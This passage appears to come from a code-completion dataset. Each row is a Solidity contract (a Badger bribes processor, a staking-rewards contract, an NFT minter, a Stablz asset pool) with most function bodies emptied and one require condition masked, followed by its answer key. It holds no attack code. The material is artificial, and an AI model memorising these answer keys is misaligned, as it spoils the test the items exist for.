IBalancerVault public constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
// We send tokens to emit here
IHarvestForwarder public constant HARVEST_FORWARDER = IHarvestForwarder(0xA84B663837D94ec41B0f99903f37e1d69af9Ed3E);
/// NOTE: Need constructor for CowSwapSeller
constructor(address _pricer) CowSwapSeller(_pricer) {}
function notifyNewRound() external {
}
/// === Security Function === ///
/// @dev Emits all of token directly to tree for people to receive
/// @param token The token to transfer
/// @param sendToGovernance Should we send to the dev multisig, or emit directly to the badgerTree?
/// @notice has built in expiration allowing anyone to send the tokens to tree should the manager stop processing bribes
/// can also sendToGovernance if you prefer
/// at this time both options have the same level of trust assumptions
/// This is effectively a security rescue function
/// The manager can call it to move funds to tree (forfeiting any fees)
/// And anyone can rescue the funds if the manager goes rogue
function ragequit(IERC20 token, bool sendToGovernance) external nonReentrant {
bool timeHasExpired = block.timestamp > lastBribeAction + MAX_MANAGER_IDLE_TIME;
require(msg.sender == manager || timeHasExpired);
// In order to avoid selling after, set back the allowance to 0 to the Relayer
token.safeApprove(address(RELAYER), 0);
// Send all tokens to badgerTree without fee
uint256 amount = token.balanceOf(address(this));
if(sendToGovernance) {
token.safeTransfer(DEV_MULTI, amount);
emit SentBribeToGovernance(address(token), amount);
} else {
require(<FILL_ME>)
// If manager rqs to emit in time, treasury still receives a fee
if(!timeHasExpired && msg.sender == manager) {
// Take a fee here
uint256 fee = amount * OPS_FEE / MAX_BPS;
token.safeTransfer(TREASURY, fee);
emit PerformanceFeeGovernance(address(token), fee);
amount -= fee;
}
// Emit to Tree
token.safeApprove(address(HARVEST_FORWARDER), amount);
HARVEST_FORWARDER.distribute(address(token), amount, address(BVE_AURA));
emit SentBribeToTree(address(token), amount);
}
}
/// === Day to Day Operations Functions === ///
/// @dev
/// Step 1
/// Use sellBribeForWETH
/// To sell all bribes to WETH
/// @notice nonReentrant not needed as `_doCowswapOrder` is nonReentrant
function sellBribeForWeth(Data calldata orderData, bytes memory orderUid) external {
}
/// @dev
/// Step 2.a
/// Swap WETH -> BADGER
function swapWethForBadger(Data calldata orderData, bytes memory orderUid) external {
}
/// @dev
/// Step 2.b
/// Swap WETH -> AURA
function swapWethForAURA(Data calldata orderData, bytes memory orderUid) external {
}
/// @dev
/// Step 3 Emit the Aura
/// Takes all the Aura, takes fee, locks and emits it
function swapAURATobveAURAAndEmit() external nonReentrant {
}
/// @dev
/// Step 4 Emit the Badger
function emitBadger() external nonReentrant {
}
/// === EXTRA === ///
/// @dev Set new allowance to the relayer
/// @notice used if you place two or more orders with the same token
/// In that case, place all orders, then set allowance to the sum of all orders
function setCustomAllowance(address token, uint256 newAllowance) external nonReentrant {
}
}
| HARVEST_FORWARDER.badger_tree()==BADGER_TREE | 80,251 | HARVEST_FORWARDER.badger_tree()==BADGER_TREE |
"!registrator" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./interfaces/IVeToken.sol";
import "./interfaces/IBoostLogicProvider.sol";
contract VotingStakingRewardsForLockers is
Ownable,
Pausable,
ReentrancyGuard,
AccessControl
{
using SafeERC20 for IERC20;
bytes32 public constant REGISTRATOR_ROLE = keccak256("REGISTRATOR_ROLE");
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount, uint256 boost);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
struct BondedReward {
uint256 amount;
uint256 unlockTime;
}
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) internal _balances;
uint256 public constant PCT_BASE = 10**18; // 0% = 0; 1% = 10^16; 100% = 10^18
uint256 internal constant MAX_BOOST_LEVEL = PCT_BASE;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish;
uint256 public rewardRate;
uint256 public rewardsDuration;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
address public rewardsDistribution;
uint256 public totalSupply;
uint256 public percentageToBeLocked;
IVeToken public veToken;
IBoostLogicProvider public bonusCampaign;
modifier onlyRegistrator() {
require(<FILL_ME>)
_;
}
modifier onlyRewardsDistributionOrOwner() {
}
constructor(
address _rewardsDistribution,
IERC20 _rewardsToken,
IERC20 _stakingToken,
uint256 _rewardsDuration,
IBoostLogicProvider _bonusCampaign,
uint256 _percentageToBeLocked
) {
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
}
/* ========== OWNERS FUNCTIONS ========== */
function setPercentageToBeLocked(uint256 _percentageToBeLocked)
external
onlyOwner
{
}
function setRewardsDistribution(address _rewardsDistribution)
external
onlyOwner
{
}
function setBoostLogicProvider(address _bonusCampaign)
external
onlyOwner
{
}
function setVeToken(address _newVeToken)
external
onlyOwner
{
}
/* ========== VIEWS ========== */
function balanceOf(address account) external view returns (uint256) {
}
function lastTimeRewardApplicable() public view returns (uint256) {
}
function rewardPerToken() external view returns (uint256) {
}
function _rewardPerToken(uint256 duration) internal view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward)
external
onlyRewardsDistributionOrOwner
updateReward(address(0))
{
}
function processLockEvent(
address _account,
uint256 _lockStart,
uint256 _lockEnd,
uint256 _amount
) external onlyRegistrator updateReward(_account) {
}
function processWitdrawEvent(
address _account,
uint256 _amount
) external onlyRegistrator updateReward(_account) {
}
function calculateBoostLevel(address account)
public
view
returns (uint256)
{
}
function earned(address account)
external
view
returns (
uint256 // userEarned
)
{
}
function potentialTokenReturns(uint256 duration, address account)
public
view
returns (uint256)
{
}
function getReward() external nonReentrant updateReward(msg.sender) {
}
function _transferOrLock(address _account, uint256 _amount) internal {
}
}
| hasRole(REGISTRATOR_ROLE,msg.sender),"!registrator" | 80,276 | hasRole(REGISTRATOR_ROLE,msg.sender) |
"Request is not from token owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721Tradeable.sol";
contract ProjektID is Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
using Counters for Counters.Counter;
mapping (uint256 => uint256) batchMints;
uint256 batchCount = 0;
address payable payableAddress;
string baseImageURI = "ipfs://bafybeibs3ckffrovxk2irbo2oznhxwoc7lbfk66w6anpfvlvfmurigjwtm";
bool isRelevealed = false;
constructor(address _proxyRegistryAddress) ERC721Tradeable("ProjektID", "ID", _proxyRegistryAddress) {
}
function publicMint(
uint256 amount
) public virtual payable {
}
function tokenURI(uint256 id) public view virtual override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function openPack(uint256 originTokenId) public {
require(<FILL_ME>)
uint256 batchAmount = batchMints[originTokenId];
require(batchAmount > 0, "Token is not a batch");
for (uint256 i = originTokenId + 1; i <= batchAmount + 1; i++) {
_mint(_msgSender(), i);
}
batchMints[originTokenId] = 0;
batchCount = batchCount - batchAmount;
}
function devMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function _remintTo(address _to, uint256 _tokenId) internal virtual {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
}
function _mintValidate(uint256 amount, address to, bool isAllowlist) internal virtual {
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Tradeable)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721)
returns (bool)
{
}
function baseTokenURI() public view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
}
| ownerOf(originTokenId)==_msgSender(),"Request is not from token owner" | 80,308 | ownerOf(originTokenId)==_msgSender() |
"collection sold out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721Tradeable.sol";
contract ProjektID is Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
using Counters for Counters.Counter;
mapping (uint256 => uint256) batchMints;
uint256 batchCount = 0;
address payable payableAddress;
string baseImageURI = "ipfs://bafybeibs3ckffrovxk2irbo2oznhxwoc7lbfk66w6anpfvlvfmurigjwtm";
bool isRelevealed = false;
constructor(address _proxyRegistryAddress) ERC721Tradeable("ProjektID", "ID", _proxyRegistryAddress) {
}
function publicMint(
uint256 amount
) public virtual payable {
}
function tokenURI(uint256 id) public view virtual override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function openPack(uint256 originTokenId) public {
}
function devMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function _remintTo(address _to, uint256 _tokenId) internal virtual {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
uint256 startTokenId = _nextTokenId.current();
require(<FILL_ME>)
require(to != address(0), "cannot mint to the zero address");
_beforeTokenTransfers(address(0), to, startTokenId, amount);
// in order give more flexibility for the holders and lower gas fees
// we will store a reference to a pack of tokens and mint only the pack representation
// the holder can sell his pack on the secondary or later call openPack(...) that will mint all the packed tokens individually
if(amount > 1) {
batchMints[startTokenId] = amount;
batchCount = batchCount + amount;
for(uint256 i; i < amount; i++) {
_nextTokenId.increment();
}
_mint(to, startTokenId);
} else {
_nextTokenId.increment();
_mint(to, startTokenId);
}
_afterTokenTransfers(address(0), to, startTokenId, amount);
}
function _mintValidate(uint256 amount, address to, bool isAllowlist) internal virtual {
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Tradeable)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721)
returns (bool)
{
}
function baseTokenURI() public view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
}
| SafeMath.sub(startTokenId,1)+amount<=MAX_SUPPLY,"collection sold out" | 80,308 | SafeMath.sub(startTokenId,1)+amount<=MAX_SUPPLY |
"sale non-active" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721Tradeable.sol";
contract ProjektID is Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
using Counters for Counters.Counter;
mapping (uint256 => uint256) batchMints;
uint256 batchCount = 0;
address payable payableAddress;
string baseImageURI = "ipfs://bafybeibs3ckffrovxk2irbo2oznhxwoc7lbfk66w6anpfvlvfmurigjwtm";
bool isRelevealed = false;
constructor(address _proxyRegistryAddress) ERC721Tradeable("ProjektID", "ID", _proxyRegistryAddress) {
}
function publicMint(
uint256 amount
) public virtual payable {
}
function tokenURI(uint256 id) public view virtual override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function openPack(uint256 originTokenId) public {
}
function devMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function _remintTo(address _to, uint256 _tokenId) internal virtual {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
}
function _mintValidate(uint256 amount, address to, bool isAllowlist) internal virtual {
require(amount > 0 && (amount == 1 || amount == 10 || amount == 20), "Valid quantities for minting are 1, 10 or 20");
require(<FILL_ME>)
uint256 balance = balanceOf(to);
if (balance + amount > maxFree()) {
int256 free = int256(maxFree()) - int256(balance);
if(isAllowlist && free > 0) {
require(int256(msg.value) >= (int256(amount) - free) * int256(mintPriceInWei()), "incorrect value sent");
} else {
require(msg.value >= SafeMath.mul(amount, mintPriceInWei()), "incorrect value sent");
}
}
require(amount <= maxMintPerTx(), "quantity is invalid, max reached on tx");
require(balance + amount <= maxMintPerWallet(), "quantity is invalid, max reached on wallet");
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Tradeable)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721)
returns (bool)
{
}
function baseTokenURI() public view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
}
| isSaleActive()==true,"sale non-active" | 80,308 | isSaleActive()==true |
"incorrect value sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721Tradeable.sol";
contract ProjektID is Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
using Counters for Counters.Counter;
mapping (uint256 => uint256) batchMints;
uint256 batchCount = 0;
address payable payableAddress;
string baseImageURI = "ipfs://bafybeibs3ckffrovxk2irbo2oznhxwoc7lbfk66w6anpfvlvfmurigjwtm";
bool isRelevealed = false;
constructor(address _proxyRegistryAddress) ERC721Tradeable("ProjektID", "ID", _proxyRegistryAddress) {
}
function publicMint(
uint256 amount
) public virtual payable {
}
function tokenURI(uint256 id) public view virtual override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function openPack(uint256 originTokenId) public {
}
function devMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function _remintTo(address _to, uint256 _tokenId) internal virtual {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
}
function _mintValidate(uint256 amount, address to, bool isAllowlist) internal virtual {
require(amount > 0 && (amount == 1 || amount == 10 || amount == 20), "Valid quantities for minting are 1, 10 or 20");
require(isSaleActive() == true, "sale non-active");
uint256 balance = balanceOf(to);
if (balance + amount > maxFree()) {
int256 free = int256(maxFree()) - int256(balance);
if(isAllowlist && free > 0) {
require(<FILL_ME>)
} else {
require(msg.value >= SafeMath.mul(amount, mintPriceInWei()), "incorrect value sent");
}
}
require(amount <= maxMintPerTx(), "quantity is invalid, max reached on tx");
require(balance + amount <= maxMintPerWallet(), "quantity is invalid, max reached on wallet");
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Tradeable)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721)
returns (bool)
{
}
function baseTokenURI() public view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
}
| int256(msg.value)>=(int256(amount)-free)*int256(mintPriceInWei()),"incorrect value sent" | 80,308 | int256(msg.value)>=(int256(amount)-free)*int256(mintPriceInWei()) |
"quantity is invalid, max reached on wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721Tradeable.sol";
contract ProjektID is Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
using Counters for Counters.Counter;
mapping (uint256 => uint256) batchMints;
uint256 batchCount = 0;
address payable payableAddress;
string baseImageURI = "ipfs://bafybeibs3ckffrovxk2irbo2oznhxwoc7lbfk66w6anpfvlvfmurigjwtm";
bool isRelevealed = false;
constructor(address _proxyRegistryAddress) ERC721Tradeable("ProjektID", "ID", _proxyRegistryAddress) {
}
function publicMint(
uint256 amount
) public virtual payable {
}
function tokenURI(uint256 id) public view virtual override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function openPack(uint256 originTokenId) public {
}
function devMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function _remintTo(address _to, uint256 _tokenId) internal virtual {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
}
function _mintValidate(uint256 amount, address to, bool isAllowlist) internal virtual {
require(amount > 0 && (amount == 1 || amount == 10 || amount == 20), "Valid quantities for minting are 1, 10 or 20");
require(isSaleActive() == true, "sale non-active");
uint256 balance = balanceOf(to);
if (balance + amount > maxFree()) {
int256 free = int256(maxFree()) - int256(balance);
if(isAllowlist && free > 0) {
require(int256(msg.value) >= (int256(amount) - free) * int256(mintPriceInWei()), "incorrect value sent");
} else {
require(msg.value >= SafeMath.mul(amount, mintPriceInWei()), "incorrect value sent");
}
}
require(amount <= maxMintPerTx(), "quantity is invalid, max reached on tx");
require(<FILL_ME>)
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Tradeable)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721)
returns (bool)
{
}
function baseTokenURI() public view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
}
| balance+amount<=maxMintPerWallet(),"quantity is invalid, max reached on wallet" | 80,308 | balance+amount<=maxMintPerWallet() |
"StablzIncentiveCannavestPool: Only the real world asset handler can call this function" | //SPDX-License-Identifier: Unlicense
pragma solidity = 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "contracts/pools/common/RealWorldAssetReceipt.sol";
/// @title Stablz Incentive Cannavest - Real world asset pool
contract StablzIncentiveCannavestPool is RealWorldAssetReceipt, Ownable {
using SafeERC20 for IERC20;
address public rwaHandler;
IERC20 public stablz;
address private constant STABLZ = 0xA4Eb9C64eC359D093eAc7B65F51Ef933D6e5F7cd;
/// @dev this is used to allow for decimals in the currentRewardValue as well as to convert USDT amount to 18 decimals
uint private constant REWARD_FACTOR_ACCURACY = 1_000_000_000_000 ether;
uint private constant LOCK_UP_PERIOD = 365 days;
uint private constant INCENTIVE_PERIOD = 30 days;
uint private constant INCENTIVE_VESTING_PERIOD = 30 days;
/// @dev max number of incentive claims that can be made in a given transaction
uint private constant MAX_CLAIM_SIZE = 100;
uint private constant ONE_USDT = 10 ** 6;
uint private constant MAX_AMOUNT = 5_000_000 * ONE_USDT;
uint private constant INITIAL_STABLZ_REWARDS = 5_000_000 ether;
uint public startedAt;
uint public incentivesEndAt;
bool public isDepositingEnabled;
uint public finalAmount;
uint public finalSupply;
uint public currentRewardFactor;
uint public allTimeRewards;
uint public allTimeRewardsClaimed;
uint public allTimeCirculatingSupplyAtDistribution;
uint public totalStablzAllocated;
uint public totalStablzClaimed;
uint public totalVestments;
struct Reward {
uint factor;
uint held;
}
struct Vestment {
uint vestmentId;
address user;
uint amount;
uint withdrawn;
uint startDate;
}
mapping(uint => Vestment) public vestments;
mapping(address => uint[]) private _userVestments;
mapping(address => Reward) private _rewards;
event Started();
event Ended(uint finalAmount, uint finalSupply);
event RealWorldAssetHandlerUpdated(address rwaHandler);
event DepositingEnabled();
event DepositingDisabled();
event Deposit(address indexed user, uint amount);
event Withdraw(address indexed user, uint expected, uint actual);
event Claimed(address indexed user, uint rewards);
event ClaimedIncentive(address indexed user, uint rewards);
event Distributed(uint rewards, uint circulatingSupply);
event Clawback(uint unallocated);
modifier onlyRWAHandler() {
require(<FILL_ME>)
_;
}
/// @param _rwaHandler Real world asset handler
constructor(address _rwaHandler) RealWorldAssetReceipt("STABLZ-CANNAVEST", "CANNAVEST") {
}
/// @notice Start the pool
function start() external onlyOwner {
}
/// @notice End the pool (after the lock up period)
/// @param _amount Principal amount
function end(uint _amount) external onlyOwner {
}
/// @notice Update the real world asset handler address
/// @param _rwaHandler Real world asset handler
function updateRealWorldAssetHandler(address _rwaHandler) external onlyOwner {
}
/// @notice Enable depositing
function enableDepositing() external onlyOwner {
}
/// @notice Disable depositing
function disableDepositing() external onlyOwner {
}
/// @notice Deposit USDT and receive STABLZ-CANNAVEST
/// @param _amount USDT to deposit
function deposit(uint _amount) external nonReentrant {
}
/// @notice Withdraw USDT after lockup and give back STABLZ-CANNAVEST
function withdraw() external nonReentrant {
}
/// @notice Claim USDT rewards
function claimRewards() external nonReentrant {
}
/// @notice Claim incentive
/// @param _vestmentId Vestment ID
function claimStablzRewards(uint _vestmentId) external nonReentrant {
}
/// @notice Claim multiple incentives
/// @param _vestmentIds Vestment IDs
function claimMultipleStablzRewards(uint[] calldata _vestmentIds) external nonReentrant {
}
/// @notice Distribute USDT to receipt token holders (RWA handler only)
/// @param _amount Amount of USDT to distribute
function distribute(uint _amount) external onlyRWAHandler {
}
/// @notice Clawback unallocated STABLZ rewards (after the incentive period)
function clawback() external onlyOwner {
}
/// @notice Get unallocated STABLZ
/// @return uint Amount of unallocated STABLZ
function getUnallocatedStablz() public view returns (uint) {
}
/// @notice Get the end date
/// @return uint End date
function getEndDate() public view returns (uint) {
}
/// @notice Get the current rewards for a user
/// @param _user User address
/// @return uint Current rewards for _user
function getReward(address _user) external view returns (uint) {
}
/// @notice Calculate the final amount to withdraw
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function calculateFinalAmount(address _user) external view returns (uint) {
}
/// @notice Has the pool ended
/// @return bool true - ended, false - not ended
function hasEnded() public view returns (bool) {
}
/// @notice Total vestments for a given user
/// @param _user User
/// @return uint Total vestments for _user
function getTotalUserVestments(address _user) public view returns (uint) {
}
/// @notice Get a list of vestments for a given user
/// @param _user User
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments for _user between _startIndex and _endIndex
function getUserVestments(address _user, uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @notice Get a list of vestments
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments between _startIndex and _endIndex
function getVestments(uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @param _amount Amount of USDT
function _allocateIncentiveRewards(uint _amount) private {
}
/// @param _vestmentId Vestment ID
/// @return amount Amount available to claim for _vestmentId
function _claimStablzRewards(uint _vestmentId) private returns (uint amount) {
}
/// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint _amount
) internal override {
}
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function _calculateFinalAmount(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Balance of _user + OTC amount listed by _user
function _getTotalBalance(address _user) private view returns (uint) {
}
/// @dev get the total amount staked (not including otc listings)
/// @return uint Circulating supply
function _getCirculatingSupply() private view returns (uint) {
}
/// @dev Merge calculated rewards with held rewards
/// @param _user User address
function _mergeRewards(address _user) private {
}
/// @dev Convert calculated rewards into held rewards
/// @dev Used when the user carries out an action that would cause their calculated rewards to change
function _holdCalculatedRewards(address _user) private {
}
/// @param _user User address
/// @return uint Held rewards
function _getHeldRewards(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Calculated rewards
function _getCalculatedRewards(address _user) private view returns (uint) {
}
/// @return bool true - active, false - not active
function _isPoolActive() internal view override returns (bool) {
}
}
| _msgSender()==rwaHandler,"StablzIncentiveCannavestPool: Only the real world asset handler can call this function" | 80,448 | _msgSender()==rwaHandler |
"StablzIncentiveCannavestPool: Pool has already stopped" | //SPDX-License-Identifier: Unlicense
pragma solidity = 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "contracts/pools/common/RealWorldAssetReceipt.sol";
/// @title Stablz Incentive Cannavest - Real world asset pool
contract StablzIncentiveCannavestPool is RealWorldAssetReceipt, Ownable {
using SafeERC20 for IERC20;
address public rwaHandler;
IERC20 public stablz;
address private constant STABLZ = 0xA4Eb9C64eC359D093eAc7B65F51Ef933D6e5F7cd;
/// @dev this is used to allow for decimals in the currentRewardValue as well as to convert USDT amount to 18 decimals
uint private constant REWARD_FACTOR_ACCURACY = 1_000_000_000_000 ether;
uint private constant LOCK_UP_PERIOD = 365 days;
uint private constant INCENTIVE_PERIOD = 30 days;
uint private constant INCENTIVE_VESTING_PERIOD = 30 days;
/// @dev max number of incentive claims that can be made in a given transaction
uint private constant MAX_CLAIM_SIZE = 100;
uint private constant ONE_USDT = 10 ** 6;
uint private constant MAX_AMOUNT = 5_000_000 * ONE_USDT;
uint private constant INITIAL_STABLZ_REWARDS = 5_000_000 ether;
uint public startedAt;
uint public incentivesEndAt;
bool public isDepositingEnabled;
uint public finalAmount;
uint public finalSupply;
uint public currentRewardFactor;
uint public allTimeRewards;
uint public allTimeRewardsClaimed;
uint public allTimeCirculatingSupplyAtDistribution;
uint public totalStablzAllocated;
uint public totalStablzClaimed;
uint public totalVestments;
struct Reward {
uint factor;
uint held;
}
struct Vestment {
uint vestmentId;
address user;
uint amount;
uint withdrawn;
uint startDate;
}
mapping(uint => Vestment) public vestments;
mapping(address => uint[]) private _userVestments;
mapping(address => Reward) private _rewards;
event Started();
event Ended(uint finalAmount, uint finalSupply);
event RealWorldAssetHandlerUpdated(address rwaHandler);
event DepositingEnabled();
event DepositingDisabled();
event Deposit(address indexed user, uint amount);
event Withdraw(address indexed user, uint expected, uint actual);
event Claimed(address indexed user, uint rewards);
event ClaimedIncentive(address indexed user, uint rewards);
event Distributed(uint rewards, uint circulatingSupply);
event Clawback(uint unallocated);
modifier onlyRWAHandler() {
}
/// @param _rwaHandler Real world asset handler
constructor(address _rwaHandler) RealWorldAssetReceipt("STABLZ-CANNAVEST", "CANNAVEST") {
}
/// @notice Start the pool
function start() external onlyOwner {
}
/// @notice End the pool (after the lock up period)
/// @param _amount Principal amount
function end(uint _amount) external onlyOwner {
}
/// @notice Update the real world asset handler address
/// @param _rwaHandler Real world asset handler
function updateRealWorldAssetHandler(address _rwaHandler) external onlyOwner {
}
/// @notice Enable depositing
function enableDepositing() external onlyOwner {
require(startedAt > 0, "StablzIncentiveCannavestPool: Pool not started yet");
require(<FILL_ME>)
require(!isDepositingEnabled, "StablzIncentiveCannavestPool: Depositing is already enabled");
isDepositingEnabled = true;
emit DepositingEnabled();
}
/// @notice Disable depositing
function disableDepositing() external onlyOwner {
}
/// @notice Deposit USDT and receive STABLZ-CANNAVEST
/// @param _amount USDT to deposit
function deposit(uint _amount) external nonReentrant {
}
/// @notice Withdraw USDT after lockup and give back STABLZ-CANNAVEST
function withdraw() external nonReentrant {
}
/// @notice Claim USDT rewards
function claimRewards() external nonReentrant {
}
/// @notice Claim incentive
/// @param _vestmentId Vestment ID
function claimStablzRewards(uint _vestmentId) external nonReentrant {
}
/// @notice Claim multiple incentives
/// @param _vestmentIds Vestment IDs
function claimMultipleStablzRewards(uint[] calldata _vestmentIds) external nonReentrant {
}
/// @notice Distribute USDT to receipt token holders (RWA handler only)
/// @param _amount Amount of USDT to distribute
function distribute(uint _amount) external onlyRWAHandler {
}
/// @notice Clawback unallocated STABLZ rewards (after the incentive period)
function clawback() external onlyOwner {
}
/// @notice Get unallocated STABLZ
/// @return uint Amount of unallocated STABLZ
function getUnallocatedStablz() public view returns (uint) {
}
/// @notice Get the end date
/// @return uint End date
function getEndDate() public view returns (uint) {
}
/// @notice Get the current rewards for a user
/// @param _user User address
/// @return uint Current rewards for _user
function getReward(address _user) external view returns (uint) {
}
/// @notice Calculate the final amount to withdraw
/// @param _user User address
/// @return uint Final amount to withdraw for _user
